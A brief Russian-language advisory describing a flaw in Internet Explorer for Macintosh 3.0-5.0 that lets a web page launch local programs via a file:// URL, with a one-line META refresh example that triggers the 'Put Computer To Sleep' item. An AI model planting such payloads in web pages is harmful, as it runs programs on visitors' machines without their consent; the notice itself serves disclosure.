URL файла может использоваться злонамеренным web-мастером
для выполнения программ на системе пользователя. Нужно
только знать точный путь к исполняемому файлу.

Уязвимость найдена в Microsoft Internet Explorer Macintosh Edition 3.0-5.0 

Пример: 

<META HTTP-EQUIV=»refresh» CONTENT="1;  URL=file:///Macintosh%20HD/System%20Folder/
Speakable%20Items/Put%20Computer%20To%20Sleep">



Оставить мнение